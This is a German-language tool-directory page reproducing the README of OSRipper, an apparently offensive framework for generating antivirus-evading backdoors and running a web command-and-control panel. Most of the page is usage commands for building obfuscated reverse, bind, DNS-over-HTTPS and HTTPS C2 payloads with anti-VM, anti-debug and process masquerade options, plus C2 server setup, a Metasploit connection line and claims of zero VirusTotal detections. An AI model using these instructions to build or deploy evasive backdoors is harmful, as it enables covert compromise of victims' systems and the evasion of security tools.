Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
OSRipper — AV-umgehendes, plattformübergreifendes Backdoor- und Crypter-Framework mit einer integrierten, leichten WebUI | Kitploit
Tools/GitHubGitHub/noahoksuz/osripper
Exploit-FrameworksPayload-GenerierungIDS/IPS-UmgehungPost-ExploitationPenetrationstestsCommand and ControlLernen & BildungRed Teaming
GitHubnoahoksuz/osripper

OSRipper

AV-umgehendes, plattformübergreifendes Backdoor- und Crypter-Framework mit einer integrierten, leichten WebUI

Repository anzeigen
3285058vor 6 MonatenVon Kitploit geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

OSRipper v0.4.2

OSRipper Logo

CodeFactor Python Version License Platform

Fortschrittlicher plattformübergreifender Payload-Generator und Crypter mit FUD-Fähigkeiten

Funktionen • Schnellstart • Web-UI • Payload-Typen • Dokumentation


Übersicht

OSRipper ist ein anspruchsvoller, vollständig unerkennbarer (FUD) Backdoor-Generator und Crypter, der für autorisierte Penetrationstests und Red-Team-Operationen entwickelt wurde. Er verfügt über fortschrittliche Umgehungstechniken, mehrere Payload-Typen und eine moderne webbasierte C2-Schnittstelle zur Verwaltung kompromittierter Systeme.

Hauptmerkmale

  • Vollständig unerkennbar (FUD) – Fortschrittliche Umgehungstechniken umgehen moderne AV-Lösungen
  • Webbasierte C2-Schnittstelle – Modernes Dashboard zur Verwaltung aktiver Sitzungen
  • Mehrere Payload-Typen – Bind-Shells, Reverse-Shells, DoH-C2, HTTPS-C2 und mehr
  • Mehrschichtige Verschleierung – Standard- und erweiterte Verschleierung mit randomisierten Variablen
  • Binärkompilierung – Kompilieren von Payloads zu eigenständigen ausführbaren Dateien
  • Verschlüsselte Kommunikation – SSL/TLS- und zertifikatgebundene HTTPS-C2-Kanäle
  • Tarnfunktionen – VM-Erkennung, Anti-Debugging, Prozess-Maskerade

Funktionen

Payload-Generierung

Payload-TypBeschreibungAnwendungsfall
Bind-ShellÖffnet Port auf dem OpferrechnerDirekter Zugriff, wenn Reverse-Verbindungen blockiert sind
Reverse TCP MeterpreterSSL/TLS-verschlüsselte Reverse-VerbindungStandard-Penetrationstests
DNS-over-HTTPS C2Verdeckter DoH-basierter Command & ControlUmgehung von Netzwerkbeschränkungen
HTTPS C2Zertifikatgebundener HTTPS-C2Sicherer, authentifizierter C2-Kanal
Gestaffelter PayloadMehrstufige WebauslieferungVerbesserte Tarnung bei der Bereitstellung
Crypter für benutzerdefinierten CodeVerschleierung beliebiger Python-SkripteVerschlüsselung benutzerdefinierter Payloads

Umgehungstechniken

  • Fortschrittliche Verschleierung – Mehrschichtige Code-Kodierung mit zufälligen Variablen
  • Erweiterte Verschleierung – Anti-Debug, VM-Erkennung, Junk-Code-Injektion
  • Anti-VM-Erkennung – Umgehung von Sandbox und virtuellen Maschinen
  • Tarnverzögerungen – Zufällige Startverzögerungen (5–15 Sekunden)
  • Prozess-Maskerade – Tarnung als legitime Systemprozesse
  • Signatur-Randomisierung – Jeder Payload ist einzigartig

Web-UI-Funktionen

  • Sitzungs-Dashboard – Anzeige aller aktiven C2-Sitzungen
  • Interaktives Terminal – Ausführen von Befehlen über die Webschnittstelle
  • Payload-Generator – Generierung von Payloads direkt über die Web-UI
  • Sitzungsverwaltung – Anzeige von Systeminformationen, Befehlshistorie und Verwaltung von Sitzungen
  • Echtzeit-Updates – Live-Befehlsausführung und Antwortanzeige

Erweiterte Funktionen

  • Ngrok-Integration – Automatische Tunnel-Erstellung für dynamische IPs
  • Zertifikatbindung – Sicherer HTTPS-C2 mit Zertifikatsüberprüfung
  • Sitzungspersistenz – Verbindungen über Neustarts hinweg aufrechterhalten
  • Befehlswarteschlange – Befehle für Offline-Agenten in die Warteschlange stellen
  • Antwort-Parsing – Automatische Analyse der Befehlsausgabe

Schnellstart

Installation

root@kitploit:~
# Repository klonen
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper

# Abhängigkeiten installieren
pip3 install -r requirements.txt

# Paket installieren
pip3 install -e .

Wichtig – Setup für optionale Funktionen (ngrok, Binärkompilierung) ausführen:
Auf vielen Systemen (insbesondere Linux mit einer extern verwalteten Python-Umgebung) müssen Sie das integrierte Setup ausführen, damit optionale Abhängigkeiten in OSRippers eigener Venv installiert werden. Führen Sie dies einmal nach der Installation durch:

root@kitploit:~
osripper-cli setup

Dadurch wird ~/.local/share/osripper/venv erstellt, pyngrok, nuitka und sandboxed installiert, und alle späteren Ausführungen von osripper / osripper-cli verwenden sie automatisch. Ohne diesen Schritt werden Sie bei --ngrok und --compile aufgefordert, das Setup auszuführen. Verwenden Sie osripper-cli setup --system nur, wenn Sie eine systemweite/user-pip-Installation anstelle der Venv bevorzugen.

Grundlegende Nutzung

Interaktiver Modus:

root@kitploit:~
osripper
# oder
python3 -m osripper

Kommandozeile:

root@kitploit:~
# Reverse-Shell generieren
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --compile

# DoH-C2-Payload generieren
osripper-cli doh -d example.com --obfuscate --compile

Web-UI:

root@kitploit:~
# C2-Server mit Web-UI starten
python -m osripper.c2.server example.com --port 5000

# Dashboard unter http://localhost:5000 aufrufen

Web-UI

OSRipper enthält eine moderne webbasierte C2-Schnittstelle zur Verwaltung kompromittierter Systeme.

Funktionen

  • Dashboard – Übersicht über alle aktiven Sitzungen
  • Sitzungsverwaltung – Systeminformationen anzeigen und Befehle ausführen
  • Payload-Generator – DoH- und HTTPS-Payloads über die Webschnittstelle generieren
  • Befehlshistorie – Alle ausgeführten Befehle und Antworten verfolgen
  • Echtzeit-Updates – Live-Befehlsausführung und Antwortanzeige

C2-Server starten

root@kitploit:~
# Grundlegende Nutzung
python -m osripper.c2.server example.com

# Mit HTTPS
python -m osripper.c2.server example.com --https

# Benutzerdefinierter Port
python -m osripper.c2.server example.com --port 8080

# Mit benutzerdefiniertem Zertifikat
python -m osripper.c2.server example.com --https --cert server.crt --key server.key

Auf die Web-UI zugreifen

Sobald der Server läuft, rufen Sie das Dashboard unter den folgenden Adressen auf:

  • HTTP: http://localhost:5000
  • HTTPS: https://localhost:5000 (falls aktiviert)

Payload-Typen

1. Bind-Shell-Backdoor

Öffnet einen Port auf dem Opferrechner und wartet auf Verbindungen.

root@kitploit:~
osripper-cli bind -p 4444 --obfuscate --compile

Verbindung:

root@kitploit:~
msfconsole -q -x 'use python/meterpreter/bind_tcp; set RHOST target_ip; set RPORT 4444; exploit'

2. Reverse TCP Meterpreter

Verschlüsselte Reverse-Verbindung mit SSL/TLS.

root@kitploit:~
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced --compile

3. DNS-over-HTTPS C2

Verdeckter C2-Kanal unter Verwendung des DNS-over-HTTPS-Protokolls. Umgeht viele Netzwerkbeschränkungen.

root@kitploit:~
# Payload generieren
osripper-cli doh -d example.com --obfuscate --compile

# C2-Server starten
python -m osripper.c2.server example.com

Funktionen:

  • Verdeckte DNS-basierte Kommunikation
  • Web-UI zur Sitzungsverwaltung
  • Automatische Sitzungspersistenz
  • Befehlswarteschlange für Offline-Agenten

4. HTTPS-C2 (Zertifikatbindung)

Sicherer HTTPS-C2 mit Zertifikatbindung zur Authentifizierung.

root@kitploit:~
# Payload generieren (über Web-UI oder CLI)
# C2-Server mit HTTPS starten
python -m osripper.c2.server example.com --https

# Zertifikat-Fingerabdruck abrufen
curl http://localhost:5000/api/cert-fingerprint

Funktionen:

  • Zertifikatbindung für Sicherheit
  • Verschlüsselte HTTPS-Kommunikation
  • Integration in die Web-UI
  • Sitzungsverwaltung

5. Gestaffelter Payload

Mehrstufige Webauslieferung für verbesserte Tarnung.

root@kitploit:~
osripper-cli staged -H 192.168.1.100 -p 8080 --obfuscate

6. Crypter für benutzerdefinierten Code

Verschleierung und Verschlüsselung beliebiger Python-Skripte.

root@kitploit:~
osripper-cli custom --script mypayload.py --obfuscate --enhanced --compile

Kommandozeilen-Schnittstelle

Allgemeine Optionen

OptionBeschreibung
--obfuscateMehrschichtige Verschleierung aktivieren
--enhancedErweiterte Verschleierung (Anti-Debug, VM-Erkennung)
--compileZu eigenständiger Binärdatei kompilieren
--icon PFADBenutzerdefiniertes Symbol für die kompilierte Binärdatei
--delayZufällige Startverzögerung hinzufügen (5–15 Sekunden)
--output, -o NAMEAusgabedateiname
--quiet, -qRuhiger Modus (minimale Ausgabe)

Beispiele

root@kitploit:~
# Voll ausgestattete Reverse-Shell
osripper-cli reverse -H 192.168.1.100 -p 4444 \
  --obfuscate --enhanced --compile --icon app.ico --delay

# DoH-C2 mit allen Funktionen
osripper-cli doh -d example.com \
  --obfuscate --enhanced --compile --delay

# Benutzerdefinierte Skriptverschlüsselung
osripper-cli custom --script malware.py \
  --obfuscate --enhanced --compile

# Verwendung von ngrok für dynamische IPs
osripper-cli reverse --ngrok -p 4444 --obfuscate --compile

Erkennungsergebnisse

Aktuelle VirusTotal-Scans

  • Python-Payload: 0/68 Erkennungsrate
  • Kompilierte Binärdatei: 0/68 Erkennungsrate

antiscan-Ergebnis

Antiscan-Ergebnisse


Architektur

root@kitploit:~
┌─────────────────┐
│   Generierte    │
│   Binärdatei    │
└─────────────────┘
         │
         │ Ausführen
         ▼
┌──────────────────┐
│ Verschleierter   │
│ Dropper          │
└──────────────────┘
         │
         │ HTTP/HTTPS/DoH
         ▼
┌─────────────────┐
│                 │
│   C2-SERVER     │
│   (Web-UI)      │
│                 │
└─────────────────┘
         │
         │ Befehl/Antwort
         ▼
┌─────────────────┐
│   Agent         │
│   Ausführung    │
└─────────────────┘

Screenshots

Hauptschnittstelle

Web-UI-Dashboard

Web-UI-Dashboard


Erweiterte Konfiguration

Ngrok-Integration

root@kitploit:~
# Payload mit ngrok generieren
osripper-cli reverse --ngrok -p 4444

# Den Anweisungen zum Einrichten des Tunnels folgen
# Ausführen: ngrok tcp 4444

Benutzerdefinierte Symbole

root@kitploit:~
osripper-cli reverse -H 192.168.1.100 -p 4444 \
  --compile --icon /path/to/icon.ico

Verschleierungsstufen

Standard-Verschleierung:

  • Mehrschichtige Kodierung
  • Variablen-Randomisierung
  • Code-Struktur-Verschleierung

Erweiterte Verschleierung:

  • Alle Standardfunktionen
  • Anti-Debugging-Techniken
  • VM-Erkennung
  • Junk-Code-Injektion
  • Fortschrittliche Umgehung
root@kitploit:~
# Standard
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate

# Erweitert
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced

HTTPS-C2-Einrichtung

root@kitploit:~
# 1. C2-Server mit HTTPS starten
python -m osripper.c2.server example.com --https

# 2. Zertifikat-Fingerabdruck abrufen
curl http://localhost:5000/api/cert-fingerprint

# 3. Payload mit Fingerabdruck generieren (über Web-UI)
# Oder den Fingerabdruck bei der Payload-Generierung verwenden

Dokumentation

  • Wiki – Umfassende Dokumentation
  • Nutzungsanleitung – Detaillierte Nutzungshinweise
  • API-Referenz – Entwicklerdokumentation

Roadmap

Abgeschlossen (v0.3.2)

  • FUD-Payload-Generierung (0/68 Erkennung)
  • Webbasierte C2-Schnittstelle
  • DNS-over-HTTPS-C2-Payload
  • HTTPS-C2 mit Zertifikatbindung
  • Mehrschichtige Verschleierungs-Engine
  • Sitzungsverwaltungssystem
  • Befehlswarteschlange und -ausführung
  • Anti-VM-Erkennung
  • Prozess-Maskerade

In Bearbeitung

  • Erweiterte Post-Exploitation-Module
  • Fortschrittliche Persistenzmechanismen
  • Datei-Upload/-Download über Web-UI
  • Mehrbenutzerunterstützung für C2-Server

Zukünftige Pläne

  • KI-gestützte Umgehungstechniken
  • Blockchain-basierte C2-Infrastruktur
  • Unterstützung für mobile Plattformen
  • Fortschrittliche Social-Engineering-Payloads

Mitwirken

Wir begrüßen Beiträge aus der Sicherheitsforschungs-Community!

So können Sie beitragen

  1. Repository forken
  2. Feature-Branch erstellen (git checkout -b feature/amazing-feature)
  3. Änderungen committen (git commit -m 'Füge großartige Funktion hinzu')
  4. Branch pushen (git push origin feature/amazing-feature)
  5. Pull-Request öffnen

Entwicklungsrichtlinien

  • PEP 8-Codierungsstandards einhalten
  • Docstrings zu allen Funktionen hinzufügen
  • Auf mehreren Plattformen testen
  • FUD-Fähigkeiten intakt halten

Danksagungen

Besonderer Dank gilt der Sicherheitsforschungs-Community und diesen Projekten:

  • htr-tech/PyObfuscate – Inspiration für Verschleierung
  • cedowens/SwiftBelt – macOS-Enumeration
  • Metasploit Framework – Payload-Handhabung

Rechtlicher Hinweis

WICHTIG: Dieses Tool wurde zu Bildungszwecken und für autorisierte Penetrationstests entwickelt.

  • Autorisierte Nutzung: Sicherheitsforschung, Penetrationstests, Red-Team-Übungen
  • Verbotene Nutzung: Unbefugter Zugriff, böswillige Aktivitäten, illegale Zwecke

Die Entwickler sind nicht verantwortlich für den Missbrauch dieser Software. Benutzer müssen alle geltenden Gesetze und Vorschriften einhalten.


Support

  • Fehlerberichte: Ein Issue eröffnen
  • Funktionsanfragen: Diskussionen
  • Sicherheitsprobleme: Kontaktieren Sie die Maintainer privat
Tool herunterladen